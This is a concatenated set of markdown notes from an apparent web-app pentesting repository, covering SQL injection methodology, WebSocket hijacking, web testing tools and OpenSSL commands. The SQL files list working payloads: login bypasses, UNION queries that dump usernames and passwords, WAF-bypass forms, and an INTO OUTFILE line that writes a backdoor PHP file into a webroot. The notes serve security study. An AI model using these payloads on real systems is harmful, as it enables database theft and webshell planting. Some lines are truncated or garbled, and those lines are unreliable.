dorking to find new endpoint 202 | 203 | Reference: 204 | 205 | * [@swaysThinking](https://twitter.com/swaysThinking) and other medium writeup 206 | * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object%20References.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object%20References.md) 207 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md: -------------------------------------------------------------------------------- 1 | # Manual Injection Methodology 2 | 3 | ### **Manual SQL Injection Detection** 4 | 5 | SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves: 6 | 7 | * Submitting the single quote character `'` and looking for errors or other anomalies. 8 | * Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses. 9 | * Submitting Boolean conditions such as `OR 1=1` and `OR 1=2, and` looking for differences in the application's responses. 10 | * Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond. 11 | * Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions. 12 | 13 | ### **Determine DB Verison** 14 | 15 | * Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software 16 | * MySQL - SELECT @@version 17 | * '+UNION+SELECT+@@version,+NULL# 18 | * Oracle - SELECT \* FROM v$version 19 | * '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- 20 | * PostgreSQL - SELECT version() 21 | * These queries can be linked with a UNION injection using the following syntax: 22 | * ' UNION SELECT @@version# 23 | * @@version can be replaced with a number of different commands, depending on what you want to retrieve from the database; for example, @@hostname or @@datadir. 24 | * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle) 25 | * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft) 26 | 27 | ### Determine the database structure and table names 28 | 29 | * In order to extract data from the database, we will need to understand the structure of the database. 30 | * Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database. 31 | * You can query information\_schema.tables to list the tables in the database: 32 | * SELECT \* FROM information\_schema.tables 33 | * You can then query information\_schema.columns to list the columns in individual tables: 34 | * SELECT \* FROM information\_schema.columns WHERE table\_name = 'Users' 35 | * For Oracle 36 | * You can list tables by querying all\_tables: 37 | * SELECT \* FROM all\_tables 38 | * And you can list columns by querying all\_tab\_columns: 39 | * SELECT \* FROM all\_tab\_columns WHERE table\_name = 'USERS' 40 | * We can also get it using a UNION SELECT query (Exmaple for a 5 column table) 41 | * `input' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()#` 42 | * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle) 43 | * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle) 44 | 45 | ### **Determine vulnerable columns** 46 | 47 | * In order to query the database on any information, you must first find out how many columns the original table being queried has. To achieve this you can use the following statement: `' ORDER BY 1#` 48 | * As our `SELECT` statement must have the same number of columns as the existing statement, we first need to determine the number of columns in the current `SELECT` statement. You can do this with the `ORDER BYn` command. Start at 1, and increment n by 1 until you receive an error.\ 49 | ◇ `input' ORDER BY 5 #` 50 | * Once you have determined the number of columns, it’s time to identify the vulnerable columns on the page. To do this, we can run the following `UNION SELECT` statement, which will show the numbers of the vulnerable columns on the page. The example if for a `SELECT`statement with five columns.\ 51 | ◇ `input' UNION SELECT 1,2,3,4,5 #` 52 | 53 | ### **Determine the column names** 54 | 55 | * Now we know the tables that exist in the database, we need to understand the structure of the columns in each table. 56 | * The \* from the above SELECT query can be replaced with whichever piece of information you like from the information\_schema.tables table, such as TABLE\_SCHEMA, TABLE\_NAME, TABLE\_TYPE. 57 | * Once information regarding the tables in the database has been discovered, it becomes possible to query the tables for their columns. This can be achieved using the following syntax: 58 | * SELECT \* FROM information\_schema.columns WHERE table\_name='Table' 59 | * We can do this with t 60 | * Or we can also get it using a UNION SELECT query: 61 | * \ 62 | `input' UNION SELECT 1,group_concat(column_name, 0x0a),3,4,5 FROM information_schema.columns WHERE table_name="customers"#` 63 | 64 | ### Extract data 65 | 66 | * Now that you know the database schema, including the table names and column names, construct `UNION SELECT` queries to extract the desired data. 67 | * Example DB: ID ,Firstname ,Lastname ,Email ,PhoneNumber ,CardNum ,ExpDate 3E 68 | * Basic: `SELECT` `*` `FROM` `user_preferences` `WHERE` `email =` `'';` 69 | * Always true statements: OR 1=1, OR 2=2, 1 <> 2 70 | 71 | [https://portswigger.net/web-security/sql-injection/examining-the-database](https://portswigger.net/web-security/sql-injection/examining-the-database) 72 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-tips-and-tricks.md: -------------------------------------------------------------------------------- 1 | # SQL Tips and Tricks 2 | 3 | ### Classical Test 4 | 5 | ``` 6 | ' or 1=1 LIMIT 1 -- 7 | ' or 1=1 LIMIT 1 -- - 8 | ' or 1=1 LIMIT 1# 9 | 'or 1# 10 | ' or 1=1 -- 11 | ' or 1=1 -- - 12 | admin\'-- - 13 | ``` 14 | 15 | ### Upload File 16 | 17 | ``` 18 | union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' 19 | ``` 20 | 21 | ### Passwords 22 | 23 | ``` 24 | uNiOn aLl SeleCt 1,2,3,4,conCat(username,0x3a,password),6 FroM users 25 | uNiOn aLl SeleCt 1,2,3,4,conCat(username,0x3a,password,0x3a,flag),6 FroM users 26 | ``` 27 | 28 | ### Dump in one shot 29 | 30 | ``` 31 | \' unIOn seLEct 1,make_set(6,@:=0x0a,(selEct(1)froM(information_schema.columns)whEre@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)# 32 | ``` 33 | 34 | ### Virgule filtree 35 | 36 | ``` 37 | SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c //%0B pour espace possible 38 | ``` 39 | 40 | ### SHA1 Binary 41 | 42 | ``` 43 | # If sha1 is used as a binary string (true) you can use an hash to bypass conditions and inject SQL 44 | # http://pims.tuxfamily.org/blog/2011/04/write-up-sha1-is-fun-plaidctf/ 45 | # echo -n 3fDf | openssl sha1 -binary 46 | 47 | # GBK Charset 48 | # Possible to bypass addslashes and magic_quotes_gpc using chinese charset 49 | # \x27 == ' 50 | # \x5c == \ 51 | # All chinese char starts with \xbf 52 | # \xbf\x5c is a chinese char. It means that the antislash added will be interpreted as a part or chinese char and so the quote will be interpreted 53 | # where user.login="\xbf' or 1=1; 54 | ``` 55 | 56 | ### Numerical 57 | 58 | ``` 59 | &news_id=1 union select... 60 | ``` 61 | 62 | ### WAF Bypass 63 | 64 | ``` 65 | SELECT-1e1FROM`test` 66 | SELECT~1.FROM`test` 67 | SELECT\NFROM`test` 68 | SELECT@^1.FROM`test` 69 | SELECT-id-1.FROM`test` 70 | ``` 71 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/web-sockets.md: -------------------------------------------------------------------------------- 1 | # Web Sockets 2 | 3 | ## How it works 4 | 5 | * WebSockets are widely used in modern web applications. They are initiated over HTTP and provide long-lived connections with asynchronous communication in both directions. 6 | * WebSockets are used for all kinds of purposes, including performing user actions and transmitting sensitive information. Virtually any web security vulnerability that arises with regular HTTP can also arise in relation to WebSockets communications. 7 | * WebSocket connections are normally created using client-side JavaScript like the following: 8 | * `var ws = new WebSocket("wss://normal-website.com/chat");` 9 | * Several features of the WebSocket handshake messages are worth noting: 10 | * The `Connection` and `Upgrade` headers in the request and response indicate that this is a WebSocket handshake. 11 | * The `Sec-WebSocket-Version` request header specifies the WebSocket protocol version that the client wishes to use. This is typically `13`. 12 | * The `Sec-WebSocket-Key` request header contains a Base64-encoded random value, which should be randomly generated in each handshake request. 13 | * The `Sec-WebSocket-Accept` response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies. 14 | 15 | ## Cross-site Web Socket Hijack 16 | 17 | Cross-site WebSocket hijacking (also known as cross-origin WebSocket hijacking) involves a [cross-site request forgery](https://portswigger.net/web-security/csrf) (CSRF) vulnerability on a [WebSocket handshake](https://portswigger.net/web-security/websockets/what-are-websockets#how-are-websocket-connections-established). It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any [CSRF tokens](https://portswigger.net/web-security/csrf/tokens) or other unpredictable values. 18 | 19 | * An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user's session with the application. 20 | * Since a cross-site WebSocket hijacking attack is essentially a [CSRF vulnerability](https://portswigger.net/web-security/csrf) on a WebSocket handshake, the first step to performing an attack is to review the WebSocket handshakes that the application carries out and determine whether they are protected against CSRF. 21 | * In terms of the [normal conditions for CSRF attacks](https://portswigger.net/web-security/csrf#how-does-csrf-work), you typically need to find a handshake message that relies solely on HTTP cookies for session handling and doesn't employ any tokens or other unpredictable values in request parameters. 22 | 23 | ### Reference 24 | 25 | * [https://portswigger.net/burp/documentation/desktop/tools/proxy/options#intercepting-websocket-messages](https://portswigger.net/burp/documentation/desktop/tools/proxy/options#intercepting-websocket-messages) 26 | * [https://xapax.github.io/security/#attacking\_web\_applications/cross\_site\_web\_socket\_hijack/](https://xapax.github.io/security/#attacking\_web\_applications/cross\_site\_web\_socket\_hijack/) 27 | 28 | ## Exploitation 29 | 30 | ### Manipulating WebSocket messages to exploit vulnerabilities 31 | 32 | * The majority of input-based vulnerabilities affecting WebSockets can be found and exploited by tampering with the contents of WebSocket messages. 33 | * Changing messages to insert an XSS attack 34 | * XSS script must be in the “\” format 35 | 36 | ### **Manipulating the WebSocket handshake to exploit vulnerabilities** 37 | 38 | * Misplaced trust in HTTP headers to perform security decisions, such as the `X-Forwarded-For` header. 39 | * Flaws in session handling mechanisms, since the session context in which WebSocket messages are processed is generally determined by the session context of the handshake message. 40 | * Attack surface introduced by custom HTTP headers used by the application. 41 | -------------------------------------------------------------------------------- /web-app-hacking/web-app-testing-frameworks.md: -------------------------------------------------------------------------------- 1 | # Web App Testing Frameworks 2 | 3 | ### Web App Testing Frameworks 4 | 5 | {% embed url="https://pentestbook.six2dez.com/others/recon-suites-review" %} 6 | 7 | * [https://projectdiscovery.io/#/](https://projectdiscovery.io/#/) - Collection of open source tools for attack surface management or Bug Bounties. 8 | * [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. 9 | * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) 10 | * [https://github.com/geeknik/the-nuclei-templates](https://github.com/geeknik/the-nuclei-templates) 11 | * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) 12 | * [https://cheatsheet.haax.fr/web-pentest/tools/nuclei/](https://cheatsheet.haax.fr/web-pentest/tools/nuclei/) 13 | * [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. 14 | * [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests 15 | * [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. 16 | * [proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. 17 | * [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. 18 | * [Fiddler](https://www.telerik.com/fiddler) - Powerful and flexible web debugging proxy. 19 | * [OWASP Zap](https://owasp.org/www-project-zap/) - Open Source Web Application testing tool made by the OWASP Foundation. Serves a similar function to Burp and even shares many extensions. 20 | * [https://tryhackme.com/room/learnowaspzap](https://tryhackme.com/room/learnowaspzap) 21 | * [Jaeles](https://github.com/jaeles-project/jaeles) - Jaeles is a powerful, flexible and easily extensible framework written in Go for building your own Web Application Scanner. 22 | * [REngine ](https://github.com/yogeshojha/rengine)- reNgine is an automated reconnaissance framework meant for information gathering during penetration testing of web applications. reNgine has customizable scan engines, which can be used to scan the domains, endpoints, or gather information. The beauty of reNgine is that it gathers everything in one place. It has a pipeline of reconnaissance, which is highly customizable. 23 | * [OpenBullet2](https://github.com/openbullet/OpenBullet2) - OpenBullet 2 is a cross platform automation suite powered by .NET core. It allows to perform requests towards a target webapp and offers a lot of tools to work with the results. This software can be used for scraping and parsing data, automated pentesting and much more. 24 | * [https://discourse.openbullet.dev/](https://discourse.openbullet.dev/) 25 | * [FinalRecon](https://github.com/thewhiteh4t/finalrecon) - FinalRecon is an automatic web reconnaissance tool written in python. Goal of FinalRecon is to provide an overview of the target in a short amount of time while maintaining the accuracy of results. 26 | * [ChopChop](https://github.com/michelin/ChopChop) - ChopChop is a command-line tool for dynamic application security testing on web applications, initially written by the Michelin CERT. Its goal is to scan several endpoints and identify exposition of services/files/folders through the webroot. 27 | * [TIDoS-Framework](https://github.com/0xInfection/TIDoS-Framework) - Exceedingly detailed offensive manual web application testing framework. 28 | * [SecApps Suite](https://secapps.com/tools/suite/) - SecApps Suite is a browser-based web security testing toolkit made of a growing number of applications and features suitable for a diverse set of offensive and defensive activities: from automated web application security assessments to fuzzing, manual web auditing and much more. 29 | * [RapidScan](https://github.com/skavngr/rapidscan) - Multi-tool vulnerability scanner that runs separate tools in tandem for saving time in the scanning phase. 30 | * [Sitadel](https://github.com/shenril/Sitadel) - Sitadel is basically an update for WAScan making it compatible for python >= 3.4 It allows more flexibility for you to write new modules and implement new features 31 | * [Garud](https://github.com/R0X4R/Garud) - An automation tool that scans sub-domains, sub-domain takeover, then filters out XSS, SSTI, SSRF, and more injection point parameters and scans for some low hanging vulnerabilities automatically. 32 | * [OpenWebTestingFramework ](https://github.com/owtf/owtf)- **OWTF** is a project focused on penetration testing efficiency and alignment of security tests to security standards like the OWASP Testing Guide (v3 and v4), the OWASP Top 10, PTES and NIST 33 | * [SecApps](web-app-testing-frameworks.md#web-app-testing-resources) - A flexible scanning platform that combines the funcitonality of multiple tools into a web based platform. Comes in both a premium and free sets of features. 34 | * [paros](https://www.kali.org/tools/paros/) - Lightweight web application testing proxy 35 | * [sumrecon](https://github.com/Gr1mmie/sumrecon) - Web recon script. No need to fear, sumrecon is here! 36 | * [0d1n](https://github.com/CoolerVoid/0d1n) - Tool for automating customized attacks against web applications. Fully made in C language with pthreads, it has fast performance. 37 | * [BlackWidow](https://github.com/1N3/BlackWidow) - A Python based web application scanner to gather OSINT and fuzz for OWASP vulnerabilities on a target website. 38 | * [https://caido.io/](https://caido.io/) - A lightweight web security auditing toolkit. Built from the ground up in Rust, Caido aims to help security professionals and enthusiasts audit web applications with efficiency and ease 39 | -------------------------------------------------------------------------------- /web-app-hacking/web-technologies/ssl-tls-and-certificates.md: -------------------------------------------------------------------------------- 1 | # SSL/TLS and Certificates 2 | 3 | ## Tools 4 | 5 | * [SSL Cipher Suite Enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) - ssl-cipher-suite enum is a Perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS) 6 | * [https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/](https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/) 7 | * Testssl.sh - a common tool used to audit the ciphers and protocols supported by remote servers, allowing people to determine if a secure configuration is enforced or not. 8 | * [sslScrape](https://github.com/cheetz/sslScrape) - strips hostnames form certs over port 443 connections 9 | * [SSLYZE ](https://github.com/nabla-c0d3/sslyze)- TLS/SSL config analyzer 10 | * [tls\_prober](https://github.com/WestpointLtd/tls\_prober) - A tool to fingerprint SSL/TLS servers 11 | * [testssl.sh](https://github.com/drwetter/testssl.sh) 12 | * [https://github.com/IBM/tls-vuln-cheatsheet](https://github.com/IBM/tls-vuln-cheatsheet) 13 | 14 | #### Certificate search 15 | 16 | * [Crt.sh](https://crt.sh/) - Certificate Search 17 | * [CTSearch](https://ui.ctsearch.entrust.com/ui/ctsearchui) - Certificate Transparency Search Tool 18 | * [tls.bufferover.run](https://tls.bufferover.run/) - Quickly find certificates in IPv4 space 19 | * [CertSpotter](https://sslmate.com/certspotter/) - Monitors your domains for expiring, unauthorized, and invalid SSL certificates 20 | * [SynapsInt](https://synapsint.com/) - The unified OSINT research tool 21 | * [Censys - Certificates](https://search.censys.io/certificates) - Certificates Search 22 | * [PassiveTotal](https://www.riskiq.com/products/passivetotal/) - Security intelligence that scales security operations and response 23 | 24 | ## OpenSSL 25 | 26 | * [OpenSSL Cookbook](https://www.feistyduck.com/library/openssl-cookbook/) 27 | 28 | Used to create self signed certificates for SSL encryption 29 | 30 | ``` 31 | # openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out cirtificate.crt 32 | ``` 33 | 34 | * Tags 35 | * req - initiate a new certificate signing request 36 | * newkey - generate a new private key 37 | * rsa:2048 - use RSA encryption with a 2,048-bit key length 38 | * \-nodes - store the private key without passphrase protection 39 | * \-keyout - save the key to a file 40 | * \-x509 - output a self-signed cert instead of a certificate request 41 | * \-days - set validity period 42 | * \-out - save this certificate to a file 43 | * Generate a self signed Certificate for a CA 44 | 45 | ``` 46 | # cat certificate.key certificate.crt > certificate.pem 47 | ``` 48 | 49 | * Create a .pem file for use with tools like socat 50 | 51 | ``` 52 | # openssl req -new -x509 -keyout ca.key -out ca.crt -config openssl.cnf 53 | ``` 54 | 55 | * You will be prompted for certain pieces of information as well as a password which can be used when signing certificates in the future, so do not forget this! Two files will be outputted: `ca.key` which contains the CA’s private key, and `ca.crt` which contains the CA’s public key certificate. 56 | * _Attacking Network Protocols - pg.200_ 57 | --------------------------------------------------------------------------------